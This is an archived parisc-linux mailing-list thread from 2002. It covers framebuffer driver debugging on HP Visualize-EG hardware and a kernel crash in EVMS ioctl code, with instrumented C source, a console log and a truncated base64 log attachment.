List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14244

"M. Grabert" wrote:
> very nice!
> Is the Visual-EG of the same type as the Visual-EG in my C240?

Same generation, but I'm using "Vis-EG/PCI" vs plain "Vis-EG".
I expect them to be the same (prgramming model) but don't know
if they actually are.

> Can you use the driver for Visual-FX aswell (AFAIK these are similar) ?

They are not similar. Vis-EG is 1280x1024 8 bit.
Vis-FX are all 24-bit color. FX2/4/6 have 3d acceleration
and texture mapping functionality (AFAIK, Vis-FXe does not)
I think Vis-FX can handle higher resolutions as well.

> Packed pixel:
> 
> If you see stripes it is very likely that you mix up PACKED pixels and
> NONPACKED pixels. But I think that's what you already checked.

I haven't. "PACKED PIXEL" is what the kernel currently hands back.
I believe this works for Vis-EG/GSC on PA1.1 machines.

> Mini-tiles/Packed pixel:
...
> Interleaved:
...
I don't think Vis-EG/PCI uses either of the above.

> BTW, Is the color of the displayed picture alright ?

I can't tell since the visible portions are only black.
Maybe that's a hint they are not.

> Is the picture streched/compressed or cropped ?
> You didn't say whether the Tux picture also had black stripes.

Both STICON text and Tux are striped diagonally top-left
to bottom right.

> Try to use some test-pictures (e.g. all red, all green. all blue,
> check-boxed, special patterns ...)!

That's a good idea. I setup some GIF for that.

> Actually I don't think I'm telling you any new stuff.
> So let's stop here and I wish you good luck!

For me, much of it is new. I don't know anything about FB layout.

thanks,
grant



From - Thu Nov 08 21:21:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Sorry was Re: [parisc-linux] FB on c3k
Date: Wed, 06 Mar 2002 09:58:02 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20020306165802.E38DE4858@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0203061559460.19204-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621128 4133 80.91.229.3 (22 Nov 2014 01:52:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 09:58:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id E38DE4858; Wed,  6 Mar 2002 09:58:02 -0700 (MST)
In-Reply-To: Message from "M. Grabert" <xam@cs.ucc.ie> 
   of "Wed, 06 Mar 2002 16:10:11 GMT." <Pine.LNX.4.44.0203061559460.19204-100000@sal.ucc.ie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14245

"M. Grabert" wrote:
> On Wed, 6 Mar 2002, Grant Grundler wrote:
> Argll, I just took a look at the patch and your previous emails
> and now I understand that you try to fix 64/FB.

yes. But user space is still 32-bit. kernel has to
provide 32-bit address for frame buffer and that
seems to work.

> I thought the Visualize-EG stifb driver is also not working on Cxxx
> machines. Is this due to the same problem ?

Thomas Bogendoerf thinks all PA 2.0 machines don't map the user space
address correctly (40-bit physical address) in the CPU TLB/PDIR.
He also found that U-bit (mark pages as uncacheable) needs to be
set even though the CPU shouldn't require it. Maybe this is
a hint that 32-bit kernel needs more work for PA2.0 architecture.

> Or is this
> specific for true 64bit workstations as the Cyyyy (hence the
> 64iocls problem).

The goal is to run 32-bit kernel on Cxxx/Cyyyy machines.
I tried 64-bit to avoid the TLB/PDIR addressing problems.
32 vs 64-bit behaviours just help narrow down the scope
of the bugs.

grant



From - Thu Nov 08 21:21:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] evms-0.9.1 && hppa (follow ...)
Date: Wed, 6 Mar 2002 19:57:31 +0100
Lines: 323
Approved: news@gmane.org
Message-ID: <OF5C49A386.7B121133-ONC1256B74.00656CC0@com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ; Boundary="0__=C1256B7400656CC08f9e8a93df938690918cC1256B7400656CC0"
X-Trace: ger.gmane.org 1416621128 4138 80.91.229.3 (22 Nov 2014 01:52:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 11:51:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id E19AE4838
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Mar 2002 11:51:25 -0700 (MST)
Original-Received: from mastercard.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d59799add76@epirel991.europay.com> for <parisc-linux@lists.parisc-linux.org>;
 Wed, 6 Mar 2002 19:51:21 +0100
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.8 |June 18, 2001) at
 03/06/2002 07:57:29 PM
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14246

--0__=C1256B7400656CC08f9e8a93df938690918cC1256B7400656CC0
Content-type: text/plain; charset=us-ascii

Hi all,

Awaiting the LKCD of Bruno, I try to figure out how to debug this bug
crashing the system without any other debuging then printk.

So with the help of a developper of evems (Kevin Corry) I put some printk
around ioctl code where crash occurs as follow:

...
int
evms_cs_allocate_memory(void **pp, int size)
{
        int rc = 0;

     printk(KERN_ERR "--evms: %s, %s call; size=%u.\n", __FILE__ ,
__FUNCTION__,  size );
     /* verify a valid size parameter was specified */
     if (size <= 0)
          /* return NULL on invalid size */
          *pp = NULL;
     else {
          *pp = kmalloc(size, GFP_KERNEL);
//        *pp = kmalloc(size, GFP_NOIO);
          if (*pp == NULL)
               rc = -ENOMEM;
          else {
               memset(*pp, 0, size);
               atomic_inc(&evms_allocs);
     printk(KERN_ERR "--evms: %s, %s call; size=%u, aft atomic_inc.\n",
__FILE__ , __FUNCTION__,  size );
          }
     }

        return(rc);
}
EXPORT_SYMBOL(evms_cs_allocate_memory);
...
#define MAX_IO_SIZE 128
static int
evms_ioctl_cmd_sector_io(void * arg)
{
        int rc;
     evms_sector_t io_size = MAX_IO_SIZE;
        evms_sector_io_t tmp, *user_parms;
        evms_logical_node_t *disk_node = NULL;
        evms_list_node_t *list_node;
        unsigned char *io_buffer;

     printk(KERN_ERR "--evms: %s, %s call.\n", __FILE__ , __FUNCTION__ );
     printk(KERN_ERR "io_buffer address: %u.\n", &io_buffer);
        rc = 0;
        list_node = NULL;
        io_buffer = NULL;

        user_parms = (evms_sector_io_t *)arg;
        /* copy user's parameters to kernel space */
        if (copy_from_user(&tmp, user_parms, sizeof(tmp)))
                rc = -EFAULT;

        /* check handle for validity */
        if (!rc) {
                rc = -EINVAL;
                disk_node = (evms_logical_node_t *)(tmp.disk_handle ^
EVMS_HANDLE_KEY);
                for (list_node = evms_global_device_list; list_node;
list_node = list_node->next)
                        if (list_node->item == disk_node) {
                                rc = 0;
                                break;
                        }
        }
        if (!rc) {
          /* allocate a io buffer upto 64Kbytes in size */
          if (tmp.sector_count < MAX_IO_SIZE)
               io_size = tmp.sector_count;

          /* allocate buffer large enough to hold a single sector */
                rc = evms_cs_allocate_memory(
               (void **)&io_buffer,
               io_size << EVMS_VSECTOR_SIZE_SHIFT);
     }
        /* perform io with specified disk */
        if (!rc) {
          evms_sector_t io_sector_offset, io_remaining;
          u_int64_t io_bytes;
          u_char *user_buffer_ptr;

          printk(KERN_ERR "--evms: %s, %s call, ckp6; rc=%i.\n", __FILE__ ,
__FUNCTION__, rc );
          io_remaining = tmp.sector_count;
          printk(KERN_ERR "--evms: %s, %s call, ckp7: io_remaining=%llu.
\n", __FILE__ , __FUNCTION__, io_remaining );
          io_sector_offset = 0;
          printk(KERN_ERR "--evms: %s, %s call, ckp7p: io_sector_offset
=%llu.\n", __FILE__ , __FUNCTION__, io_sector_offset );
          user_buffer_ptr = user_parms->buffer_address;
          printk(KERN_ERR "--evms: %s, %s call, ckp7pp.\n", __FILE__ ,
__FUNCTION__ );
          while(io_remaining) {
               /* compute the io_size for this pass */
               io_size = (io_remaining >= MAX_IO_SIZE) ?
                    MAX_IO_SIZE : io_remaining;

               io_bytes = io_size << EVMS_VSECTOR_SIZE_SHIFT;
                        /* for writes, copy a sector from user to kernel */
               printk(KERN_ERR "--evms: %s, %s call, ckp8; io_size=%i.\n",
__FILE__ , __FUNCTION__, io_size );
                        if (tmp.io_flag == 1) {
                                /* copy sector from user data buffer */
                                if (copy_from_user(io_buffer,
                                 user_buffer_ptr,
                                 io_bytes))
                                        rc = -EFAULT;
                        }
               printk(KERN_ERR "--evms: %s, %s call, ckp8; rc=%i.\n",
__FILE__ , __FUNCTION__, rc );
                        if (rc) break;

                        /* perform IO one sector at a time */
                        rc = INIT_IO(
                                disk_node,
                                tmp.io_flag,
                                io_sector_offset + tmp.starting_sector,
                                io_size,
                                io_buffer);
               printk(KERN_ERR "--evms: %s, %s call, ckp9; rc=%i.\n",
__FILE__ , __FUNCTION__, rc );

...

and here is what I obtain:
(capture with minicom on another system)

--ldev_mgr: scsi: Channel = 0, Id = 6, Lun = 0, Capacity = 17773524
--ldev_mgr: scsi: Channel = 0, Id = 3, Lun = 0, Capacity = 4194685
--evms: evms.c, evms_ioctl_cmd_sector_io call.
io_buffer address: 374884016.
--evms: evms.c, evms_cs_allocate_memory call; size=512.
--evms: evms.c, evms_cs_allocate_memory call; size=512, aft atomic_inc.
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp6; rc=0.
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp7: io_remaining=1.
--evms: evms.c, evms_ioctl_cmd_sector_io call, ckp7p: io_sector_offset=0.
WARNING! Stack pointer and cr31 do not correspond!
Dumping virtual address stack instead
...

(I also attache the full log if interest)

So it seems to failled on the assignement: "user_buffer_ptr =
user_parms->buffer_address;" . That is over my understanding without much
help. Any idea ?

Thanks in advance for attention and help,
     Joel

PS1: I cast (size_t) in the call to evms_cs_allocate_memory because I
suspect
first a BigEndian problem in the conversion between a unsigned long long
and
unsigned int . But it is not (another simple test prove it).

PS2: I also suspect a problem of optimisation with gcc-3 (known bug) and I
recompile all kernel and tools with option -O1 but no more success.

PS3: I use here the precompile tools of Debian pakage but as I presume it
does
not help. (I still have to post a major bug report about it for this panic)

PS4: This tools works perfectly on my i386 with a ext3 fs for the dir I
used the most: /usr/src until two weeks without any problems

(See attached file: K-2.4-Evms.doc.gz)

**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************

--0__=C1256B7400656CC08f9e8a93df938690918cC1256B7400656CC0
Content-type: application/octet-stream; 
	name="K-2.4-Evms.doc.gz"
Content-Disposition: attachment; filename="K-2.4-Evms.doc.gz"
Content-transfer-encoding: base64

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
iH3y+ijdM8zFpJxIYZiz92dN2nStp5ZpPFWGQQ+19wwzyDt96vWCYUptzddoe2wZDb2jX+2w5TIa
X2QZ+8UuAaS2TLqQ+i7pKh0fKws8OdOdjSYrD6ytVxsKzqPj5i+Osz45zivH6c/HmeW4vZBtft1p
/M8bR/7ajVEIP1K6lzNrY4UM49MWnho69DFKG6XJ9U49T1JFXsBJ4pp3u12zg3sKhnGT7ihg6T9i
oYm2jBMU0qMddnxa3/vZyqO84Cj5eHzT6c0AeXOFb234mv506M2ity692fDmcALWl5jA/DMmkHff
RPdR/BjtXb7n9+0HLisrb9oiZu5d9VP997iBUzY81MBzoK332pbdeUkBQ2/bpQLeywocekURe2mi
vegXWuUXCRWi2MVshqGXbzxUXra0J/D8VvIIT26LygIDv6Jj41a5rQqHAvTRboVHJSM/YF24SRhH
2+KeoOj4HndwPLotW4+yGEddZLWtHV4h5JsjnsOxTC4uM+Xxwimu1MtrMKrPUYtUCbH4Cf0Sggzp
DP2fbsdnt2fD99MTLJIbgF+mp7dUPWFDVw7qb7I43xrlWaqPO5qb4DxTVT528XGCxqKLNvpON51l
29n11VBVLt+Pq+pEXs7X9F5LM1p0r15XmvKq3gF6V72G/Hvrpbd4qIo9NxO3xX+h42HDP2ShdmKr
rxqFxc6CCtw4DDy0lfc6Kcxm9n8qe/h+PIUHeULYnYooqlWKWjoQwEo8iFWtW38V2sSQfvXAL2Iy
63V8i+lMZzrTmc50pjOd6UxnOtOZznSmM53pTGc605nOdKYznelMZzrTmc50pjOd6UxnOtOZznSm
M53pTGc605nOdKYznelMZzrTmc50pjOd6UxnOtOZznSmM53pTGc605nOdKYznelMZzrTmc50pjOd
6UxnOtOZznSmM53pTGc605nOdKYznelMZzrTmc50pjOd6UxnOtOZznSmM53pTGc605nOdKYznelM
ZzrT/9voum68dhzzmc985jOf+cxnPvOZz3zmM5/5zGc+85nPfOYzn/nMZz7zmc985jOf+cxnPvOZ
z3zmM5/5zGc+85nPfOYzn/nMZz7zmc985jOf+cxnPvOZz3zmM5/5zGc+85nPfOYzn/nMZz7zmc98
5jOf+cxnPvOZz3zmM5/5zGc+85nPfOYzn/nMZz7zmc985jOf+cxnPvOZz3zmM5/5zGc+85nPfOYz
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
